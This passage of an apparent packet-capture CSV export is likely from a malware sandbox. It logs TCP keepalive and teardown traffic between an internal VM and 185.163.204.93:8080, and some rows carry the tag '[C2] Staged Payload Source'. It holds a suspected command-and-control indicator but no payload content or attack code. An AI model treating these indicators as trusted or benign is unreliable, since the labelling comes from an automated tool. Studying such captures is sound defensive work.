\"\"proto\"\": 6, \"\"chksum\"\": 8446, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (275940647, 275940648))]\"\"}}]\"\n2026-04-29 14:33:24.882105,167,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=275940647 Ack=1516837734,525400577f945254007bb792080045000029964740008006a335c0a87aa8b9a3cc5dc4001f90107285275a691b6650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38471, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41781, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940647, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:33:24.882137,168,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940648,5254007bb792525400577f9408004500003458754000400620fdb9a3cc5dc0a87aa81f90c4005a691b661072852880100053c17800000101050a1072852710728528,\"RT.{..RT.W....E..4Xu@.@. ....]..z.....Zi.f.r.(...S.x.....\n.r.'.r.(\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 22645, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8445, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (275940647, 275940648))]\"\"}}]\"\n2026-04-29 14:33:34.891823,169,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=275940647 Ack=1516837734,525400577f945254007bb792080045000029964840008006a334c0a87aa8b9a3cc5dc4001f90107285275a691b6650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38472, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41780, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940647, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:33:34.891854,170,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940648,5254007bb792525400577f9408004500003458764000400620fcb9a3cc5dc0a87aa81f90c4005a691b661072852880100053c17800000101050a1072852710728528,\"RT.{..RT.W....E..4Xv@.@. ....]..z.....Zi.f.r.(...S.x.....\n.r.'.r.(\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 22646, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8444, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (275940647, 275940648))]\"\"}}]\"\n2026-04-29 14:33:44.894135,171,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=275940647 Ack=1516837734,525400577f945254007bb792080045000029964940008006a333c0a87aa8b9a3cc5dc4001f90107285275a691b6650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38473, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41779, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940647, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:33:44.894165,172,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940648,5254007bb792525400577f9408004500003458774000400620fbb9a3cc5dc0a87aa81f90c4005a691b661072852880100053c17800000101050a1072852710728528,\"RT.{..RT.W....E..4Xw@.@. ....]..z.....Zi.f.r.(...S.x.....\n.r.'.r.(\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 22647, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8443, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (275940647, 275940648))]\"\"}}]\"\n2026-04-29 14:33:54.898346,173,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=275940647 Ack=1516837734,525400577f945254007bb792080045000029964a40008006a332c0a87aa8b9a3cc5dc4001f90107285275a691b6650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38474, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41778, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940647, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:33:54.898374,174,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940648,5254007bb792525400577f9408004500003458784000400620fab9a3cc5dc0a87aa81f90c4005a691b661072852880100053c17800000101050a1072852710728528,\"RT.{..RT.W....E..4Xx@.@. ....]..z.....Zi.f.r.(...S.x.....\n.r.'.r.(\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 22648, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8442, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (275940647, 275940648))]\"\"}}]\"\n2026-04-29 14:33:58.211732,175,TCP 208.95.112.1:80 -> 192.168.122.168:50177,208.95.112.1,192.168.122.168,80,50177,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2184589264 Ack=3658458229,5254007bb792525400577f94080045000028e67240004006d8abd05f7001c0a87aa80050c40182362fd0da0fa475501100537bcc0000,RT.{..RT.W....E..(.r@.@...._p...z..P...6/....uP..S{...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 58994, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55467, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50177, \"\"seq\"\": 2184589264, \"\"ack\"\": 3658458229, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:33:58.211946,176,TCP 192.168.122.168:50177 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50177,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3658458229 Ack=2184589265,525400577f945254007bb79208004500002806f340008006782bc0a87aa8d05f7001c4010050da0fa47582362fd1501020137bcc0000,RT.W..RT.{....E..(..@...x+..z.._p....P...u.6/.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1779, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30763, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50177, \"\"dport\"\": 80, \"\"seq\"\": 3658458229, \"\"ack\"\": 2184589265, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:04.906947,177,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=275940647 Ack=1516837734,525400577f945254007bb792080045000029964b40008006a331c0a87aa8b9a3cc5dc4001f90107285275a691b6650108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38475, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41777, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940647, \"\"ack\"\": 1516837734, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:34:04.906977,178,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837734 Ack=275940648,5254007bb792525400577f9408004500003458794000400620f9b9a3cc5dc0a87aa81f90c4005a691b661072852880100053c17800000101050a1072852710728528,\"RT.{..RT.W....E..4Xy@.@. ....]..z.....Zi.f.r.(...S.x.....\n.r.'.r.(\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 22649, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8441, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (275940647, 275940648))]\"\"}}]\"\n2026-04-29 14:34:09.251587,179,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=1516837734 Ack=275940648,5254007bb792525400577f94080045000028587a400040062104b9a3cc5dc0a87aa81f90c4005a691b661072852850110053c16c0000,RT.{..RT.W....E..(Xz@.@.!....]..z.....Zi.f.r.(P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 22650, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 8452, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837734, \"\"ack\"\": 275940648, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.251779,180,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=275940648 Ack=1516837735,525400577f945254007bb792080045000028964c40008006a331c0a87aa8b9a3cc5dc4001f90107285285a691b6750108000c16c0000,RT.W..RT.{....E..(.L@....1..z....].....r.(Zi.gP....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38476, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41777, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940648, \"\"ack\"\": 1516837735, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.275904,181,TCP 192.168.122.168:50176 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50176,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=275940648 Ack=1516837735,525400577f945254007bb792080045000028964d40008006a330c0a87aa8b9a3cc5dc4001f90107285285a691b6750118000c16c0000,RT.W..RT.{....E..(.M@....0..z....].....r.(Zi.gP....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38477, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41776, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50176, \"\"dport\"\": 8080, \"\"seq\"\": 275940648, \"\"ack\"\": 1516837735, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.275935,182,TCP 185.163.204.93:8080 -> 192.168.122.168:50176,185.163.204.93,192.168.122.168,8080,50176,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1516837735 Ack=275940649,5254007bb792525400577f94080045000028000040004006797eb9a3cc5dc0a87aa81f90c4005a691b671072852950100053ff320000,RT.{..RT.W....E..(..@.@.y~...]..z.....Zi.g.r.)P..S.2..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31102, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50176, \"\"seq\"\": 1516837735, \"\"ack\"\": 275940649, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 65330, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.294562,183,TCP 192.168.122.168:50180 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50180,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=1371135995 Ack=0,525400577f945254007bb792080045000034964e40008006a323c0a87aa8b9a3cc5dc4041f9051b9dffb000000008002ffffc1780000020405b40103030701010402,RT.W..RT.{....E..4.N@....#..z....]....Q............x..............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38478, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41763, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": 